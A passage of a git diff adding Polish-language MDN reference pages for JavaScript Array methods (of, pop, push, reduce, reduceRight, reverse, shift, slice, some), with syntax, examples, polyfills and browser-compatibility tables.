elementN
+
Elementy, które tworzą tablicę.
+
+ +

Wartość zwracana

+ +

Nowa instancja obiektu {{jsxref("Array")}}.

+ +

Opis

+ +

Ta funkcja jest częścią standardu ECMAScript 2015. Po więcej informacji zobacz Array.of and Array.from proposal i Array.of polyfill.

+ +

Przykłady

+ +
Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+
+ +

Polyfill

+ +

Uruchomienie tego kodu przed innym stworzy Array.of() nawet jeśli nie jest ona dostępna natywnie.

+ +
if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.Array.of")}}

+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/pop/index.html b/files/pl/web/javascript/reference/global_objects/array/pop/index.html new file mode 100644 index 0000000000..2b7483dbd7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/pop/index.html @@ -0,0 +1,138 @@ +--- +title: Array.prototype.pop() +slug: Web/JavaScript/Referencje/Obiekty/Array/pop +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Metodă + - Prototype + - Tablica +translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Usuwa ostatni element z tablicy zwracając go. Metoda ta zmienia długość tablicy.

+ +

Składnia

+ +
arr.pop()
+ +

Zwracana wartość

+ +

Ostatni element tablicy;
+ Jeśli tablica jest pusta zwraca {{jsxref("undefined")}}

+ +

Opis

+ +

Metoda pop usuwa ostatni element tablicy i zwraca tę wartość.

+ +

pop is intentionally generic. Metoda ta może być {{jsxref("Function.call", "called", "", 1)}} lub {{jsxref("Function.apply", "applied", "", 1)}} do obiektu przypominającego tablice. Obiekty, które nie posiadają właściwości length odzwierciedlającej ostani element w serii, przy właściwościach liczonych od zera nie mogą zachowywać się w żaden znaczący sposób.

+ +

Jeśli zawołasz  pop() na pustej tablicy, zwróci ona {{jsxref("undefined")}}.

+ +

Przykład

+ +

Przykład: Usuwanie ostatniego elementu tablicy

+ +

Następujący kod tworzy tablicę myFish zawierającą cztery elementy, a następnie usuwa ostatni jej element.

+ +
var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+console.log(myFish); // ['angel', 'clown', 'mandarin', 'sturgeon']
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("1.0")}}{{CompatGeckoDesktop("1.7")}}{{CompatIE("5.5")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/push/index.html b/files/pl/web/javascript/reference/global_objects/array/push/index.html new file mode 100644 index 0000000000..92bf342cda --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/push/index.html @@ -0,0 +1,51 @@ +--- +title: Array.prototype.push() +slug: Web/JavaScript/Referencje/Obiekty/Array/push +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/push +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Dodaje jeden lub więcej elementów na koniec tablicy i zwraca jej nową długość. Metoda ta zmienia długość tablicy.

+ +

Składnia

+ +
arr.push(element1, ..., elementN)
+ +

Parametry

+ +
+
element + N +  
+
Elementy dodawane na końcu tablicy.
+
+ +

Opis

+ +

Zachowanie metody push jest analogiczne do funkcji push w języku Perl 4. Uwaga: jej zachowanie różni się w języku Perl 5.

+ +

Przykłady

+ +

Przykład: Dodawanie elementów do tablicy

+ +

Następujący kod tworzy tablicę myFish zawierającą dwa elementy, następnie dodaje do niej dwa kolejne. Po wykonaniu kodu, pushed zawiera wartość 4 (w JavaScript 1.2 po wykonaniu kodu zmienna pushed zawiera wartość "lew").

+ +
myFish = ["anioł", "klaun"];
+pushed = myFish.push("bęben", "lew");
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/reduce/index.html b/files/pl/web/javascript/reference/global_objects/array/reduce/index.html new file mode 100644 index 0000000000..8699a308c5 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/reduce/index.html @@ -0,0 +1,300 @@ +--- +title: Array.prototype.reduce() +slug: Web/JavaScript/Referencje/Obiekty/Array/Reduce +translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

Metoda reduce() wywołuje funkcję względem wartości przyrostowej z każdego wywołania i kolejnego elementu tablicy (od lewej do prawej) w celu sprowadzenia tej tablicy do pojedynczej wartości.

+ +

Składnia

+ +
arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])
+ +

Parametry

+ +
+
callback
+
Funkcja wykonywana na każdej wartości w tablicy, przyjmuje cztery argumenty: +
+
previousValue
+
+
Wartość zwróconą w ostatnim wywołaniu funkcji callback, lub initialValue, jeśli ta została dostarczona. (Patrz niżej.)
+
currentValue
+
Obecnie przetwarzany element w tablicy.
+
index
+
Indeks w tablicy obecnie przetwarzanego elementu.
+
array
+
Tablica, na której została wykonana funkcja reduce .
+
+
+
initialValue
+
Opcjonalne. Obiekt który będzie użyty jako pierwszy argument pierwszego wywołania funkcji callback.
+
+ +

Opis

+ +

reduce wykonuje funkcję callback raz dla każdego elementu występującego w tablicy, wyłączając dziury. Funkcja callback przyjmuje cztery argumenty: wartość początkową (lub wartość poprzedniego wywołania callback), wartość obecnego elementu, jego indeks, oraz tablicę na której zachodzi proces iteracji.

+ +

Przy pierwszym wywołaniu funkcji callback, previousValue oraz currentValue mogą przyjąć jedną z dwóch wartości. Jeżeli initialValue było dostarczone w wywołaniu, wtedy previousValue przyjmie wartość podaną jako initialValue, natomiast currentValue przyjmie wartość pierwszego elementu tablicy. Jeśli initialValue nie było podane, wtedy previousValue będzie miało wartość pierwszego elementu tablicy, natomiast currentValue będzie równe elementowi drugiemu.

+ +

Jeżeli tablica jest pusta oraz initialValue nie zostało dostarczone, będzie rzucony błąd {{jsxref("Global_Objects/TypeError", "TypeError")}}. Jeśli natomiast tablica ma jeden tylko element (bez względu na jego pozycję) i initialValue nie zostało podane, lub dostarczono initialValue, ale tablica jest pusta, wtedy ta jedyna wartość zostanie zwrócona, bez wywoływania funkcji callback.

+ +

Przyjmijmy, że wystąpiło następujące wywolanie funkcji reduce:

+ +
[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+});
+
+ +

Funkcja callback będzie wywołana cztery razy, z argumentami i wartościami zwrotnymi przy każdym wołaniu jak następuje:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
previousValuecurrentValueindexarraywartość zwracana
pierwsze wywołanie011[0, 1, 2, 3, 4]1
drugie wywołanie122[0, 1, 2, 3, 4]3
trzecie wywołanie333[0, 1, 2, 3, 4]6
czwarte wywołanie644[0, 1, 2, 3, 4]10
+ +

Wartość zwrócona ostatecznie przez reduce będzie tą z ostatniego wywołania funcji callback (10).

+ +

Natomiast, jeśli dostarczylibyśmy wartość początkową jako drugi argument funkcji przekazanej do reduce, wynik wyglądałby jak poniżej:

+ +
[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+}, 10);
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
previousValuecurrentValueindexarraywartość zwracana
pierwsze wywołanie1000[0, 1, 2, 3, 4]10
drugie wywołanie1011[0, 1, 2, 3, 4]11
trzecie wywołanie1122[0, 1, 2, 3, 4]13
czwarte wywołanie1333[0, 1, 2, 3, 4]16
piąte wywołanie1644[0, 1, 2, 3, 4]20
+ +

Tym razem wartość zwrócona przez reduce będzie wynosiła 20.

+ +

Przykłady

+ +

Przykład: Zsumowanie wszystkich wartości w tablicy.

+ +
var total = [0, 1, 2, 3].reduce(function(a, b) {
+  return a + b;
+});
+// total == 6
+
+ +

Przykład: Spłaszczenie tablicy tablic

+ +
var flattened = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
+  return a.concat(b);
+});
+// flattened is [0, 1, 2, 3, 4, 5]
+
+ +

Polyfill

+ +

Array.prototype.reduce zostało dodane do standardu ECMA-262 w edycji piątej i jako takie może nie występować we wszystkich implementacji standardu. Można obejśc ten brak poprzez wstawienie poniższego kodu na początku skryptu, co pozwala na użycie reduce z implementacjami, które nie wspierają tej funkcji.

+ +
// Production steps of ECMA-262, Edition 5, 15.4.4.21
+// Reference: http://es5.github.io/#x15.4.4.21
+if (!Array.prototype.reduce) {
+  Array.prototype.reduce = function(callback /*, initialValue*/) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('Array.prototype.reduce called on null or undefined');
+    }
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+    var t = Object(this), len = t.length >>> 0, k = 0, value;
+    if (arguments.length == 2) {
+      value = arguments[1];
+    } else {
+      while (k < len && !(k in t)) {
+        k++;
+      }
+      if (k >= len) {
+        throw new TypeError('Reduce of empty array with no initial value');
+      }
+      value = t[k++];
+    }
+    for (; k < len; k++) {
+      if (k in t) {
+        value = callback(value, t[k], k, t);
+      }
+    }
+    return value;
+  };
+}
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStanKomentarz
{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce')}}{{Spec2('ES5.1')}}Definicja początkowa. Wprowadzon w JavaScript 1.8.
{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce')}}{{Spec2('ES6')}}
+ +

Wspierane przeglądarki

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}{{CompatIE("9")}}{{CompatOpera("10.5")}}{{CompatSafari("4.0")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/reduceright/index.html b/files/pl/web/javascript/reference/global_objects/array/reduceright/index.html new file mode 100644 index 0000000000..fcb2b0e694 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/reduceright/index.html @@ -0,0 +1,344 @@ +--- +title: Array.prototype.reduceRight() +slug: Web/JavaScript/Referencje/Obiekty/Array/ReduceRight +translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight +--- +
{{JSRef}}
+ +

Metoda reduceRight() przekazuje do funkcji wartość przyrostową dla każdego elementu w tablicy zaczynając od prawej do lewej (od najwyższego indexu do najniższego) w celu sprowadzenia tablicy do pojedynczej wartości.

+ +
{{EmbedInteractiveExample("pages/js/array-reduce-right.html","shorter")}}
+ + + +

Sprawdź również {{jsxref("Array.prototype.reduce()")}} dla redukowania tablicy od lewej do prawej (od najniższego indexu do najwyższego).

+ +

Składnia

+ +
arr.reduceRight(callback(akumulator, obecnaWartość[, index[, tablica]])[, wartośćPoczątkowa])
+ +

Parametry

+ +
+
callback
+
Funkcja która będzie wołana dla każdego elementu w tablicy, przyjmuje 4 argumenty: +
+
akumulator
+
Wartość zwrócona z poprzedniego wywołania funkcji callback lub wartośćPoczątkowa, jeśli została zdefiniowana. (Sprawdź poniżej.)
+
obecnaWartość
+
Element z tablicy, który aktualnie jest przetwarzany
+
index{{optional_inline}}
+
Index aktualnie przetwarzanego elementu z tablicy.
+
tablica{{optional_inline}}
+
Tablica, na której reduceRight() zostało zawołane.
+
+
+
wartośćPoczątkowa{{optional_inline}}
+
Wartość, która zostanie użyta do pierwszego wykonania funkcji callback. Jeśli wartość ta nie zostanie zdefiniowana, ostatni element tablicy zostanie użyty i pominięty. Wołanie reduce lub reduceRight na pustej tablicy bez zdefiniowanej wartości początkowej spowoduje błąd TypeError.
+
+ +

Wartość zwracana

+ +

Wartość wynikowa redukcji.

+ +

Opis

+ +

reduceRight wykonuje funkcję callback dla każdego elementu z tablicy, z wyłączeniem miejsc niezdefiniowanych w tablicy, przekazując cztery argumenty: wartość początkową (lub wartość z poprzedniego wywołania funkcji callback), wartość obecnie przetwarzanego elementu, obecny index oraz tablicę na której wykonywane są iteracje.

+ +

Użycie funkcji callback w metodzie reduceRight może wyglądac następująco:

+ +
array.reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+  // ...
+});
+
+ +

Przy pierwszym wywołaniu funkcji, akumulator i obecnaWartość mogą mieć jedną z 2 wartości. Jeśli wartośćPoczątkowa została przekazana do reduceRight, to akumulator będzie równy wartośćPoczątkowaobecnaWartość będzie równa ostatniej wartości z tablicy. Jeśli wartośćPoczątkowa nie została zdefiniowana, wtedy akumulator będzie równy ostatniej wartości z tablicy a obecnaWartość będzie równa przedostatniej wartości z tablicy.

+ +

Jeśli tablica jest pusta i wartośćPoczątkowa nie została zdefiniowana, spowoduje to błąd: {{jsxref("TypeError")}}. Jeśli tablica ma tylko jeden element (niezależnie od jego pozycji) i wartośćPoczątkowa nie została zdefiniowana lub wartośćPoczątkowa została zdefiniowana ale tablica jest pusta, to ta pojedyncza wartość zostanie zwrócona bez wołania funkcji callback.

+ +

Przykład pokazujący, jak przepływają dane do funkcji callback:

+ +
[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+  return akumulator + obecnaWartość;
+});
+
+ +

Funkcja callback wykona się 4 razy a argumenty wywołań oraz wartości zwracane będą zgodne z poniższą tabelą:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
callbackakumulatorobecnaWartośćindextablicazwrócona wartość
first call433[0, 1, 2, 3, 4]7
second call722[0, 1, 2, 3, 4]9
third call911[0, 1, 2, 3, 4]10
fourth call1000[0, 1, 2, 3, 4]10
+ +

Wartość zwrócona przez reduceRight będzie tym, co zostało zwrócone przez ostatnie wywołanie funkcji callback (10).

+ +

Jeśli wartośćPoczątkowa zostałaby zdefiniowana wyniki wyglądałyby następująco:

+ +
[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
+  return akumulator + obecnaWartość;
+}, 10);
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
callbackakumulatorobecnaWartośćindextablicazwrócona wartość
first call1044[0, 1, 2, 3, 4]14
second call1433[0, 1, 2, 3, 4]17
third call1722[0, 1, 2, 3, 4]19
fourth call1911[0, 1, 2, 3, 4]20
fifth call2000[0, 1, 2, 3, 4]20
+ +

Wartość zwrócona przez reduceRight w tym przypadku, będzie, oczywiście, 20.

+ +

Przykłady

+ +

Zsumuj wszystkie wartości z tablicy

+ +
var sum = [0, 1, 2, 3].reduceRight(function(a, b) {
+  return a + b;
+});
+// sum is 6
+
+ +

Spłaszcz tablicę tablic

+ +
var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+    return a.concat(b);
+}, []);
+// flattened is [4, 5, 2, 3, 0, 1]
+
+
+ +

Uruchom asynchroniczne funkcje z callbackami z listy w taki sposób aby każda przekazywała wynik wykonania do następnej

+ +
const waterfall = (...functions) => (callback, ...args) =>
+  functions.reduceRight(
+    (composition, fn) => (...results) => fn(composition, ...results),
+    callback
+  )(...args);
+
+const randInt = max => Math.floor(Math.random() * max)
+
+const add5 = (callback, x) => {
+  setTimeout(callback, randInt(1000), x + 5);
+};
+const mult3 = (callback, x) => {
+  setTimeout(callback, randInt(1000), x * 3);
+};
+const sub2 = (callback, x) => {
+  setTimeout(callback, randInt(1000), x - 2);
+};
+const split = (callback, x) => {
+  setTimeout(callback, randInt(1000), x, x);
+};
+const add = (callback, x, y) => {
+  setTimeout(callback, randInt(1000), x + y);
+};
+const div4 = (callback, x) => {
+  setTimeout(callback, randInt(1000), x / 4);
+};
+
+const computation = waterfall(add5, mult3, sub2, split, add, div4);
+computation(console.log, 5) // -> 14
+
+// same as:
+
+const computation2 = (input, callback) => {
+  const f6 = x=> div4(callback, x);
+  const f5 = (x, y) => add(f6, x, y);
+  const f4 = x => split(f5, x);
+  const f3 = x => sub2(f4, x);
+  const f2 = x => mult3(f3, x);
+  add5(f2, input);
+}
+ +

​​​​​​Różnica pomiędzy reduce i reduceRight

+ +
var a = ['1', '2', '3', '4', '5'];
+var left  = a.reduce(function(prev, cur)      { return prev + cur; });
+var right = a.reduceRight(function(prev, cur) { return prev + cur; });
+
+console.log(left);  // "12345"
+console.log(right); // "54321"
+ +

Przykład na rozwijanie funkcji

+ +

W rozwijaniu funkcji chodzi o to, że w wywołaniu jednej funkcji możemy użyć wielu funkcji. Odbywa się to od prawej do lewej, wołając każdą funkcję z wynikiem zwróconym przez poprzednią.

+ +
/**
+ * Function Composition is way in which result of one function can
+ * be passed to another and so on.
+ *
+ * h(x) = f(g(x))
+ *
+ * Function execution happens right to left
+ *
+ * https://en.wikipedia.org/wiki/Function_composition
+ */
+
+const compose = (...args) => (value) => args.reduceRight((acc, fn) => fn(acc), value)
+
+// Increment passed number
+const inc = (n) => n + 1
+
+// Doubles the passed value
+const double = (n) => n * 2
+
+// using composition function
+console.log(compose(double, inc)(2)); // 6
+
+// using composition function
+console.log(compose(inc, double)(2)); // 5
+
+ +

Polyfill

+ +

reduceRight zostało dodane dostandardu ECMA-262 w piątej edycji, w związku z czym może jeszcze nie być dodane do wszystkich implementacji standardu. Można to rozwiązać poprzez użycie poniższego kodu na początku aplikacji, pozwoli to na używanie reduceRight w środowiskach, które tego nie implementują.

+ +
// Production steps of ECMA-262, Edition 5, 15.4.4.22
+// Reference: http://es5.github.io/#x15.4.4.22
+if ('function' !== typeof Array.prototype.reduceRight) {
+  Array.prototype.reduceRight = function(callback /*, initialValue*/) {
+    'use strict';
+    if (null === this || 'undefined' === typeof this) {
+      throw new TypeError('Array.prototype.reduce called on null or undefined');
+    }
+    if ('function' !== typeof callback) {
+      throw new TypeError(callback + ' is not a function');
+    }
+    var t = Object(this), len = t.length >>> 0, k = len - 1, value;
+    if (arguments.length >= 2) {
+      value = arguments[1];
+    } else {
+      while (k >= 0 && !(k in t)) {
+        k--;
+      }
+      if (k < 0) {
+        throw new TypeError('Reduce of empty array with no initial value');
+      }
+      value = t[k--];
+    }
+    for (; k >= 0; k--) {
+      if (k in t) {
+        value = callback(value, t[k], k, t);
+      }
+    }
+    return value;
+  };
+}
+
+ +

Specyfikacje

+ + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}
+ +

Zgodność w przeglądarkach

+ +
+ + +

{{Compat("javascript.builtins.Array.reduceRight")}}

+
+ +

Sprawdź również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/reverse/index.html b/files/pl/web/javascript/reference/global_objects/array/reverse/index.html new file mode 100644 index 0000000000..bc6fd9082b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/reverse/index.html @@ -0,0 +1,55 @@ +--- +title: Array.prototype.reverse() +slug: Web/JavaScript/Referencje/Obiekty/Array/reverse +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Odwraca kolejność elementów w tablicy: pierwszy staje się ostatnim, ostatni pierwszym.

+ +

Składnia

+ +
arr.reverse()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda reverse zmienia zawartość tablicy, odwracając kolejność jej elementów.

+ +

Przykłady

+ +

Przykład: Odwracanie kolejności elementów w tablicy

+ +

Poniższy przykład tworzy tablicę mojaTablica, posiadającą trzy elementy, następnie odwraca ich kolejność.

+ +
mojaTablica = new Array("jeden", "dwa", "trzy")
+mojaTablica.reverse()
+
+ +

W wyniku działania powyższego kodu:

+ + + +

Zobacz także

+ + + +
 
diff --git a/files/pl/web/javascript/reference/global_objects/array/shift/index.html b/files/pl/web/javascript/reference/global_objects/array/shift/index.html new file mode 100644 index 0000000000..adf8ca36e4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/shift/index.html @@ -0,0 +1,48 @@ +--- +title: Array.prototype.shift() +slug: Web/JavaScript/Referencje/Obiekty/Array/shift +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Usuwa pierwszy element z tablicy i zwraca go. Metoda ta zmienia długość tablicy.

+ +

Składnia

+ +
arr.shift()
+ +

Przykłady

+ +

Przykład: Usuwanie pierwszego elementu tablicy

+ +

Następujący kod wyświetli tablicę myFish, przed i po usunięciu jej pierwszego elementu. Wyświetli również usunięty element:

+ +
// przyjmując że funkcja print jest zdefiniowana
+var myFish = ["anioł", "klaun", "mandarynka", "chirurg"];
+console.log("myFish przed: " + myFish);
+var shifted = myFish.shift();
+console.log("myFish po: " + myFish);
+console.log("Usunięto element: " + shifted);
+
+ +

Przykład wyświetli następujący rezultat:

+ +
myFish przed: ["anioł", "klaun", "mandarynka", "chirurg"]
+myFish po: ["klaun", "mandarynka", "chirurg"]
+//Usunięto element: anioł
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/slice/index.html b/files/pl/web/javascript/reference/global_objects/array/slice/index.html new file mode 100644 index 0000000000..ced8efba96 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/slice/index.html @@ -0,0 +1,99 @@ +--- +title: Array.prototype.slice() +slug: Web/JavaScript/Referencje/Obiekty/Array/slice +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice +--- +

{{ JSRef }}

+ +

{{EmbedInteractiveExample("pages/js/array-slice.html")}}

+ +

Podsumowanie

+ +

Wydobywa fragment tablicy i zwraca go jako nową tablicę.

+ +

Składnia

+ +
arr.slice([begin[, end]])
+ +

Parametry

+ +
+
begin
+
Indeks (liczony od zera) od którego zaczyna się wydobywanie.
+
Jeżeli indeks jest ujemny, begin wskazuje przesunięcie w kolejności od końca. slice(-2) wydobywa kolejno drugi od końca i ostatni element tablicy.
+
+ +
+
end
+
Indeks (liczony od zera) przed którym kończy się wydobywanie. slice wydobywa elementy jednakże nie zawiera end.
+
+ +
+
slice(1,4) wydobywa elementy od drugiego do czwartego (o indeksach 1, 2 i 3).
+
+ +
+
Jeżeli parametr ten ma wartość ujemną to end określa odległość od końca tablicy. slice(2,-1) wydobywa kolejne elementy od trzeciego do przedostatniego.
+
+ +
+
Jeżeli end jest pominięty, slice wydobywa wszystkie elementy do końca tablicy.
+
+ +

Opis

+ +

slice nie zmienia zawartości oryginalnej tablicy, tylko zwraca nową kopię "o jednym poziomie głębokości" zawierającą elementy wyciągnięte z oryginalnej tablicy. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:

+ + + + + +

Jeżeli nowy element jest dodany do jednej z tablic, to nie wpływa to w żaden sposób na drugą.

+ +

Przykłady

+ +

Przykład: Zastosowanie slice

+ +

W następującym przykładzie slice tworzy nową tablicę newCar z myCar. Obydwie zawierają odniesienie do obiektu myHonda. Kiedy kolor myHonda jest zmieniany na purpurowy, to obie tablice odzwierciedlają zmianę.

+ +
//Użycie slice, tworzenie newCar z myCar.
+var myHonda = { color: "red", wheels: 4, engine: { cylinders: 4, size: 2.2 } };
+var myCar = [myHonda, 2, "cherry condition", "purchased 1997"];
+var newCar = myCar.slice(0, 2);
+
+//Wpisz wartości myCar, newCar i color myHonda
+//  referenced from both arrays.
+console.log("myCar = " + myCar.toSource());
+console.log("newCar = " + newCar.toSource());
+console.log("myCar[0].color = " + myCar[0].color);
+console.log("newCar[0].color = " + newCar[0].color);
+
+//zmienia kolor myHonda.
+myHonda.color = "purple";
+console.log("Nowy kolor mojej Honda to " + myHonda.color);
+
+//Wpisz color myHonda odnoszący się do oby tablic
+console.log("myCar[0].color = " + myCar[0].color);
+console.log("newCar[0].color = " + newCar[0].color);
+
+ +

Ten skrypt wypisze:

+ +
myCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2, "cherry condition", "purchased 1997"]
+newCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+Nowym kolorem mojej Honda jest purpurowy
+myCar[0].color = purple
+newCar[0].color = purple
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/some/index.html b/files/pl/web/javascript/reference/global_objects/array/some/index.html new file mode 100644 index 0000000000..6ba1777370 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/some/index.html @@ -0,0 +1,110 @@ +--- +title: Array.prototype.some() +slug: Web/JavaScript/Referencje/Obiekty/Array/some +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/some +--- +

{{ JSRef }}

+ +

Podsumowanie

+ +

Sprawdza, czy jakikolwiek element tablicy zalicza test zaimplementowany przez dostarczoną funkcję .

+ +

Składnia

+ +
arr.some(callback[, thisArg])
+ +

Parametry

+ +
+
callback 
+
Funkcja sprawdzająca dla każdego elementu.
+
thisArg
+
Obiekt do użycia jako this gdy wykonujemy funkcję callback.
+
+ +

Opis

+ +

some wykonuje funkcję callback) na każdym elemencie tablicy, aż znajdzie taki, dla którego callback zwróci prawdę (true). Jeżeli taki element zostanie znaleziony, some zakończy swoje działanie i zwróci prawdę (true), w przeciwnym przypadku (gdy callback zwróci fałsz dla każdego z elementów) some zwróci false. Tablice nie są traktowane jako "zwarte" - czyli callback zostanie wywołany dla każdego indeksu tablicy dla którego wartość została przypisana. Nie zostanie wywołany dla indeksów, które zostały usunięte, bądź dla których nigdy nie została przypisana wartość.

+ +

callback wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i przemierzaną tablicą.

+ +

W przypadku podania argumentu thisObject, zostanie on przekazany jako this przy każdym wywołaniu callback. Gdy go brak, lub ma wartość null, użyty zostanie obiekt globalny przyporządkowany do callback.

+ +

some nie modyfikuje tablicy, na której jest wywołany.

+ +

Zakres elementów przetwarzanych przez some ustalany jest przed pierwszym wywołaniem callback. Elementy dodane do tablicy po wywołaniu some nie zostaną sprawdzone przez callback. Jeśli istniejący, niesprawdzony jeszcze element tablicy zostanie zmieniony lub usunięty przez callback, wartością przekazaną do callback będzie wartość z momentu, w którym some sprawdza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako undefined.

+ +

Przykłady

+ +

Sprawdzanie rozmiaru wszystkich elementów tablicy

+ +

Następujący przykład sprawdza czy jakiś element tablicy jest większy, bądź równy 10.

+ +
function czyWiekszyNiz10(element, index, array) {
+  return element > 10;
+}
+[2, 5, 8, 1, 4].some(czyWiekszyNiz10); // false
+[12, 5, 8, 1, 44].some(czyWiekszyNiz10); // true
+
+ +

Sprawdzanie elementów używając funkcji strzałkowych

+ +

Funkcje strzałkowe dają krótszą składnię dla tego samego testu.

+ +
[2, 5, 8, 1, 4].some(x => x > 10); // false
+[12, 5, 8, 1, 44].some(x => x > 10); // true
+
+ +

Kompatybilność z przeglądarkami

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}{{CompatIE("9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
